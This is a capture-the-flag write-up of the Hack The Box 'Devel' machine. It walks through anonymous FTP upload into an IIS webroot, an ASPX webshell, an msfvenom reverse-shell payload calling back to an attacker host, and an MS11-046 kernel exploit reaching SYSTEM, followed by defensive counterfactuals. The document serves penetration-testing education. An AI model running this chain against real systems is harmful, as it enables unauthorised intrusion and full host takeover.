Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Devel is one of the original Windows Easies and a textbook example of
“FTP rooted in the webroot” — a misconfiguration that turns anonymous
FTP write into web-content write, which on an IIS host with ASPX script
mapping turns into preauth RCE in two HTTP requests. The post-foothold
host is Windows 7 Enterprise build 7600 with literally zero hotfixes
installed (systeminfo shows Hotfix(s): N/A), so the privilege
escalation universe is wide open: every Windows 7 kernel-mode bug from
2010 onward applies. The conventional pick is MS11-046
(CVE-2011-1249), an unbounded memmove in the Ancillary Function Driver
(afd.sys) that lifts a normal user shell to SYSTEM.
The teaching beat is the implicit trust between FTP and HTTP. The
operator running the box has reasoned about the FTP service’s auth and
the HTTP service’s auth separately, but they share a filesystem — and
because IIS happily compiles any .aspx it finds under wwwroot, a write
on either service is execution on the other. Two services, one shared
content directory, one bug. That pattern is alive in the wild any time
a CI pipeline uploads to an S3 bucket whose contents are also a CDN
origin, or any time a Git deploy lands files into a directory the web
server treats as executable.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Devel”.
Primary source. Walks the anonymous-FTP-overlapping-with-webroot
discovery, the ASPX webshell upload, the
systeminfo+Watson enumeration, and the MS11-046 escalation. Demonstrates both the Metasploit and manual paths. - IppSec, “Devel” video walkthrough.
- Watson — C# patch-level enumeration tool used to spot MS11-046.
- abatchy17, “WindowsExploits”
— pre-compiled MS11-046 binary (
40564.c) used by most walkthroughs.
Recon
Two open ports:
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 7.5
The version banner pair (Microsoft ftpd + IIS 7.5) puts the OS at
Windows 7 / Server 2008 R2 with high confidence — IIS 7.5 ships
exclusively with that family. The interesting line in nmap’s
-sC output is the FTP one:
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
The directory listing is the load-bearing fact: iisstart.htm,
welcome.png, and aspnet_client are the canonical contents of
C:\inetpub\wwwroot\ on a fresh IIS install. Seeing them on FTP
means the FTP service’s anonymous root is mapped onto the same
filesystem path as IIS’s wwwroot. Anything the attacker uploads
via FTP is reachable via HTTP at the corresponding URL.
A normal IIS deployment puts the FTP root in a separate
C:\inetpub\ftproot\ directory. On Devel the operator chose
C:\inetpub\wwwroot\ — possibly to make
“upload-via-FTP-and-test-via-HTTP” workflows easier. That choice is
the entire foothold.
Foothold — anonymous FTP upload + ASPX execution
ASPX is a script-mapped extension on default IIS: .aspx files
under wwwroot are handed to aspnet_isapi.dll, which compiles
and executes them. The standard ASPX webshell at
/usr/share/webshells/aspx/cmdasp.aspx (Kali default) is a
self-contained command-execution form.
ftp <TARGET>
ftp> user anonymous
ftp> binary
ftp> put /usr/share/webshells/aspx/cmdasp.aspx
ftp> ls
ftp> bye
curl "http://<TARGET>/cmdasp.aspx?cmd=whoami"
The first browse to cmdasp.aspx triggers the ASP.NET compiler;
the second renders the form. Issuing whoami returns:
iis apppool\web
IIS APPPOOL\Web is the IIS 7.5 application-pool identity for
the “Web” pool. It’s a virtual account, not a real user, and it
has limited filesystem rights — but SeImpersonatePrivilege is
enabled by default, which is the precondition for token-kidnapping
escalations on supported Windows.
The standard upgrade path is to msfvenom an ASPX Meterpreter
payload, upload it the same way, and trigger:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER> \
LPORT=4444 -f aspx -o shell.aspx
ftp <TARGET>
ftp> put shell.aspx
ftp> bye
# attacker
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ATTACKER>; set LPORT 4444
exploit -j
# trigger the upload
curl http://<TARGET>/shell.aspx
Meterpreter lands as IIS APPPOOL\Web.
User flag
user.txt is at C:\Users\babis\Desktop\user.txt. The IIS
worker doesn’t have read on babis\Desktop directly on a 2008R2
host, but on Devel the directory ACLs are loose enough that the
worker can list it. (If they aren’t on a future variant, the
post-SYSTEM step reads it trivially.)
meterpreter > cat C:\\Users\\babis\\Desktop\\user.txt
If that fails, defer the user flag read to the post-SYSTEM session.
Privilege escalation — MS11-046 (CVE-2011-1249, AFD.sys)
systeminfo from the Meterpreter session is a one-line
“how-old-is-this-host” check:
OS Version: Microsoft Windows 7 Enterprise 6.1.7600 N/A Build 7600
Hotfix(s): N/A
Build 7600 is RTM Windows 7 (no Service Pack, July 2009) with zero hotfixes installed. Every kernel-mode privesc from 2010 onward applies. Watson enumerates the candidates:
.\Watson.exe
# Output flags MS10-073, MS10-092, MS11-046, MS12-042, MS13-005
MS11-046 (CVE-2011-1249) is in the Ancillary Function Driver
(afd.sys) — the kernel-mode networking driver that backs
Windows sockets. The bug is an unchecked length copy in
AfdJoinLeaf, reachable via IOCTL_AFD_JOIN_LEAF from any
authenticated user. The overflow corrupts the kernel’s
non-paged pool; the public exploit shapes the pool, triggers
the overflow, and overwrites a token pointer to grant SYSTEM
privileges to the calling process.
The pre-compiled binary lives in abatchy17/WindowsExploits as
MS11-046.exe (built from 40564.c). Drop it onto the target
via the existing Meterpreter session:
meterpreter > upload MS11-046.exe C:\\Windows\\Temp\\
meterpreter > shell
C:\Users\babis> cd C:\Windows\Temp
C:\Windows\Temp> MS11-046.exe
C:\Windows\Temp> whoami
nt authority\system
The exploit binary spawns a new SYSTEM cmd in-place rather than
opening a window — the
spawn SYSTEM shell within the current shell flag in abatchy17’s
build is the reason this works over a Meterpreter shell at all.
A version that opens a new desktop window would be useless on a
remote shell.
root.txt lives at C:\Users\Administrator\Desktop\root.txt.
Why each step worked
- FTP root mapped onto wwwroot: a deployment shortcut that collapses two services’ filesystems into one. On a default IIS install, the two roots are separate; only an explicit operator change introduces the overlap.
- ASPX is script-mapped under wwwroot by default: any file
with a
.aspxextension under wwwroot is executed by the ASP.NET handler on first request. There is no per-directory opt-in; you have to actively exclude.aspxexecution if you don’t want it. SeImpersonatePrivilegeonIIS APPPOOL\Web: IIS 7.5’s default app-pool identity carries impersonation by default, which makes token-kidnapping (Potato-family) escalations applicable as a fallback if the kernel exploit path didn’t work.- AFD.sys length not bounded in
AfdJoinLeaf: the bug is a classic missing-min-against-buffer-size pattern in a kernel driver. AFD’s IOCTL surface is reachable by any authenticated user (no special privilege), so the exploit needs no precondition beyond having a shell. - No hotfixes: the box is RTM Win7 with no patches. The reason this is plausible at all is that Devel is a 2017 HTB release showcasing an artificially-vintage state; in production the Windows Update pipeline would have closed every one of these candidates years ago.
Counterfactuals
- Separate FTP and HTTP filesystems. If FTP must coexist with
HTTP on the same host, the FTP root should not contain any
files that IIS would treat as executable. A second mitigation
is an IIS-side handler-mapping rule that disables
.aspxcompilation under directories writable by FTP. - Disable anonymous FTP on internet-facing hosts. The 1-CVE cost is high and the value is low; SCP/SFTP with key auth has been the obvious replacement since 2000.
- Run IIS app pools under a custom low-priv identity without
SeImpersonatePrivilege. If the only thing the worker needs to do is read static content, it doesn’t need to impersonate any caller. - Apply Windows Updates. Every kernel exploit Watson lists has
been patched for over a decade. A Windows 7 host with
Hotfix(s): N/Ais a 2017-vintage prop, not a 2026 system.
Key Takeaways
- Two services sharing a filesystem multiply each other’s bugs. Anywhere you find a writable upload path on one service and a script-mapped read path on another, you have an RCE primitive.
- ASPX webshells (
cmdasp.aspx) are still useful in IIS engagements. The Kali default ships at/usr/share/webshells/aspx/cmdasp.aspx. Memorize the path. systeminfo | findstr "Hotfix"is a one-line check to see whether you’re on an unpatched host. If the count is small, Watson/Sherlock are likely to find a viable kernel exploit in seconds.- For Windows shells launched from non-PowerShell vectors (FTP+ASPX, RFI, etc.), kernel-exploit binaries that “spawn SYSTEM in-place” are the only ones that work — anything that pops a new interactive window will be invisible to your reverse-shell session.
References
- 0xdf, “HTB: Devel”
- IppSec, “Devel”
- Watson
- abatchy17/WindowsExploits
- CVE-2011-1249 advisory (MS11-046)